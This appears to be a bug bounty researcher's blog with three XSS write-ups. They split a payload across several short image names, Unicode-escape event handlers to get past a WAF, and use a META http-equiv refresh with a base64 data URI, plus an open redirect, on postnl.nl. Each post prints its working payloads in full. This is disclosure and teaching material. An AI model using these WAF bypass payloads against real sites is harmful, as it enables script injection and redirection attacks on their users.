Categories
Bug Bounty

XSS WAF & Character limitation bypass like a boss

Hello fellow Hackers!
I am sitting in my room for the last 3 days due to the coronavirus outbreak worldwide and feeling really bored. So I thought why not do a write-up of what I promised really long ago 🀭. A few months back in My Tweet I shared a way to bypass XSS WAF & Character limitation what I found on a private bug bounty site. Today I will share more technical details about that bypass. Hope you guys will enjoy it πŸ˜‡

Back in 2019 I was testing a web application that allows a user to create a photo album and upload photos in it and the interface looks like the below screenshot:

Application Interface πŸ€”
Application Interface πŸ€”

Also, there is an option to rename images when I click on Edit, So normally any researcher will test for XSS here as there is a way to change the photo name. So I changed the photo name to xsstest'">{{7*7}}

Then I noticed the following things –

  • There is 15 character limitation in that input so I was able to inject xsstest'">{{7*7 these characters.
  • All special characters were being escaped properly.
  • And at last, I was being redirected to /error.aspx?code=500 when I tried to load that album again due to WAF and I have to rename the image to xsstest then I was able to load the album again.

It looks like this input is well protected form XSS attacks. Then I start playing with other available options and connected Burp Suit tools with my browser and keep it open to capture all background requests in HTTP History. Then when I was going through HTTP History tab and one background request endpoint caught my attention what looks like https://subdomain.company.com/ajax/generateImageList.ashx?json={albums:[{“id":"","value":"on"}]}. This request was for album Slideshow option and that endpoint page source was:

<a href="https://image-link.com/image.jpg" title="xsstest" rel="lightbox">84**00000</a>

Look at the title attribute value what is our image name in that album. So again I renamed my picture name to xsstest’"> and again checked ajax/generateImageList.ashx page source and this time it was –

<a href="https://image-link.com/image.jpg" title="xsstest'">" rel="lightbox">84**00000</a>

So in this new generateImageList.ashx endpoint –

  • User’s input is not being escaped properly.
  • No WAF detection.

But we still have the 15 character limitation what makes this xss useless. The smallest xss payload we can think of for this scenario is "oncut="alert() Which will result a blank popup when we Press CTRL+X on Windows & COMMAND+X on OS X on keyboard:

<a href="https://image-link.com/image.jpg" title=""oncut="alert()" rel="lightbox">84**00000</a>
Blank Popup πŸ˜ͺ
Blank Popup πŸ˜ͺ

I tried all possible way to bypass this character limitation and was unable to do it. I stopped testing here and saved about this endpoint in my To do list note to take a look here when I again test this asset. After about seven months I again started testing this asset and again working on this endpoint. Now noticed that I can upload multiple photos on album and by selecting all photos of album the Slideshow option request endpoint changes to https://subdomain.company.com/ajax/generateAlbumImageList.ashx?json={albums:[{“id":"","value":"on"}]} and that page source is:

<a href="https://image-link.com/image.jpg" title="xsstest'">" rel="lightbox">84**00000</a><a href="https://image-link.com/image.jpg" title="xsstest'">" rel="lightbox">84**00001</a>

So now we have multiple injections here. So why not upload 5 pictures in the album and use My Tweet mentioned payload?
Payload :

  • 1st Injection: */</script><!--
  • 2nd Injection:*/.domain)/*xxx
  • 3rd Injection: */(document/*xx
  • 4th Injection: */prompt/*xxxxx
  • 5th Injection: "><script>/*xss

Page source after final injection become:

<a href="https://image-link.com/image.jpg" title=""><script>/*xss" rel="lightbox">84**00000</a><a href="https://image-link.com/image.jpg" title="*/prompt/*xxxxx" rel="lightbox">84**00001</a><a href="https://image-link.com/image.jpg" title="*/(document/*xx" rel="lightbox">84**00002</a><a href="https://image-link.com/image.jpg" title="*/.domain)/*xxx" rel="lightbox">84**00003</a><a href="https://image-link.com/image.jpg" title="*/</script><!--" rel="lightbox">84**00004</a>

Now visiting https://subdomain.company.com/ajax/generateAlbumImageList.ashx?json={albums:[{“id":"","value":"on"}]} will execute the payload we used-

Popup Boom 😎πŸ”₯
Popup Boom 😎πŸ”₯

Now you may have a question why I used x character multiple times in the 2nd to 5th payload? The answer is in album images are sorting based on the name length + When it was uploaded. So I used x character multiple times to make all image name length the same, so that when I upload images it sort based on image upload time.

Hope you guys enjoyed this one.

#Stay_Home
#Stay_Safe
#Wash_Your_Hand_Frequently
#Hack_The_PlanetπŸ”₯

Categories
Bug Bounty

Unicode vs WAF β€” XSS WAF Bypass

Hi readers,
At 1st Eid Mubarak to all. May Allah bring you joy, happiness, peace, and prosperity on this blessed occasion. Wishing you and your family on this happy occasion of Eid! Eid Mubarak! So on this blessed occasion I thought let’s share one of my findings as an Eid bonus 😜 !
From the title, you may come to know this is a write-up about XSS WAF bypass using UNICODE. So let’s give you a small idea about the application I was testing. There was an option called Save for later what saves items in your account for later use. The request looks like this:

Target applications Save for later option request
Target applications Save for later option request

If a user is properly authenticated then this post request will save items in the user’s account for later use and if a user is not properly authenticated then it will just reflect with some values. So I was manually fuzzing around with parameters and noticed channel parameter value is being reflected in response body without proper escaping in both authenticated & unauthenticated scenarios. I send a request with a channel parameter value that looks like "channel":"xss\"><" and the response was:

<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"
                     data-productid="<ID>" data-channel="xss"><" data-quantity="1"
                     data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>

Our inputted value is inside the <a> tag and we can escape out of it as quotes & less-than/greater-than sign is not being filtered properly. So I thought I have a lot of ways to do XSS here until I inputted "channel":"xss\"onclick=\"alert(1)" and the response was:

WAF ! WAF ! WAF !!! πŸ€•
WAF ! WAF ! WAF !!! πŸ€•

So there is a WAF in place. To bypass it I started fuzzing and the result was:

"channel":"xss\"onclick=\"alert(1)" ==> WAF
"channel":"xss\"xss=\"alert(1)" ==> WAF
"channel":"xss\"onclick=\"alert(1)" ==> WAF
"channel":"xss\"xss=\"xxx(1)" ==> No WAF

So I tried to create a tag instead of adding event attributes in <a> tag and I inputted "channel":"xss\"><xss>test" and the response was:

<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"
                     data-productid="<ID>" data-channel="xss">test" data-quantity="1"
                     data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>

So it’s also removing what’s context looks like a tag. So we don’t have the advantage of creating a tag. So our only way is using event attributes in <a> tag by bypassing the WAF. So I tried to do a brute-force using html-event-attributes.txt by fuzzdb to see if any event is not being blocked by WAF and got nothing interesting. Then I thought about Unicode and inputted a random Unicode to see if it’s decoding in response or not and bingo it’s decoding Unicode to its original chars. So now I started playing with unicode+events again and the result was:

"channel":"xss\"\u003E\u003Cxss\u003Etest" ==> data-channel="xss"><xss>test"
"channel":"xss\"xss=\"co\u006efirm(domain)" ==> No WAF
"channel":"xss\"onc\u006Cick=\"co\u006efirm(domain)" ==> HTTP/1.1 403 Forbidden

So we got a new advantage and also a new problem here.

  • The advantage is we can now create HTML tags using Unicode.
  • The disadvantage is even after using Unicode we are getting a new error HTTP/1.1 403 Forbidden when we add an event onc\u006Cick.

So again I made a wordlist from html-event-attributes.txt + Unicode and I got onmous\u0045leave & ond\u0072ag events giving HTTP/1.1 200 OK and also we can create HTML tags . So I made my final payload

xss\"\u003E\u003Ch1  onmous\u0045leave=co\u006efirm(domain)\u003ECome to Me\u003C/h1\u003E\u003Cbr\u003E\u003C!--

And response body was:

<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"
                     data-productid="<ID>" data-channel="xss"><h1  onmouseleave=confirm(domain)>come to me</h1><br><!--" data-quantity="1"
                     data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>
POST based XSS For unauthenticated users
POST based XSS For unauthenticated users

Take mouse pointer in come to me and leave it & boom πŸ˜ŽπŸ€—
Now as this is a POST Request and there is no CSRF protection In a place so I chained CSRF + XSS = P2 Stored XSS for authenticated users 😎

CSRF + XSS = P2 Stored XSS for authenticated users 😎
CSRF + XSS = P2 Stored XSS for authenticated users 😎

Thanks for reading. Take a look at my YouTube channel for some POC I shared.

Cheers πŸ˜‹πŸ˜‰

Categories
Bug Bounty

XSS bypass using META tag in realestate.postnl.nl

Hi readers,
Today I will write about a XSS Vulnerability I reported to the postnl.nl bug bounty Program.

Reflected XSS

A reflected XSS (or also called a non-persistent XSS attack) is a specific type of XSS whose malicious script bounces off of another website to the victim’s browser. It is passed in the query, typically, in the URL. It makes exploitation as easy as tricking a user to click on a link.

Vulnerable Endpoint: http://realestate.postnl.nl/?Lang=

To test a normal Reflected XSS I Input "><xsstest> in the Lang parameter and in source it was reflected properly inside META tag like below :-

<meta name="language" content=""><xsstest>" />

Looks simple right ? Then wait a little :’) . Then I Inputted "><img src=x> and I got:

Forbidden Error WAF postnl
Forbidden Error WAF postnl

I tried with many HTML tags and I got 2 points here:

  • Any Valid HTML tag is not allowed.
  • I can create any attributes here.

So I googled for meta tag attributes and got:

meta tag attributes
meta tag attributes

The http-equiv attribute took my attention. Now I again google more about it and learned that "META tag has the http-equiv directive. This directive allows you to define the equivalent of an HTTP header in the HTML code. The http-equiv directive can take a value of refresh, which can be used to redirect a user to another page."

Then I input 0;http://evil.com"HTTP-EQUIV="refresh" and response was

<meta name="language" content="0;http://evil.com"HTTP-EQUIV="refresh"" />

And I got redirected to evil.com. So I have open redirection now. Now we can try for Data URI XSS. So I input 0;javascript:alert(1)"HTTP-EQUIV="refresh" and response was

Forbidden Error WAF postnl
Forbidden Error WAF postnl

This was again Triaged for the keyword javascript used in payload. So I used Base64 encoded payload 0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg=="HTTP-EQUIV="refresh" and response source was

<meta name="language" content="0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg=="HTTP-EQUIV="refresh"" />

And now when I visit http://realestate.postnl.nl/?Lang=0%3Bdata%3Atext%2fhtml%3Bbase64%2CPHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg%3D%3D%22HTTP-EQUIV%3D%22refresh%22 I got XSS popup

XSS Popup in different origin from postnl
XSS Popup in different origin from postnl

I reported it to their Zerocopter report form. Then they deployed a Fix by blacklisting the data:text/html;base64 keyword like they have blacklisted JavaScript keyword

After the fix still I can do Open Redirect when a user visits: http://realestate.postnl.nl/?Lang=0%3Bhttp%3A%2f%2fevil.com%22HTTP-EQUIV%3D%22refresh%22 and confirmed with them again

PostNL open redirect
PostNL open redirect

They again Fixed the issue and listed My name on their Hall Of Fame page & also offered to send some goodies 😍

Goodies offer from PostNL
Goodies offer from PostNL

Thanks for reading.If you have any query ask me on Facebook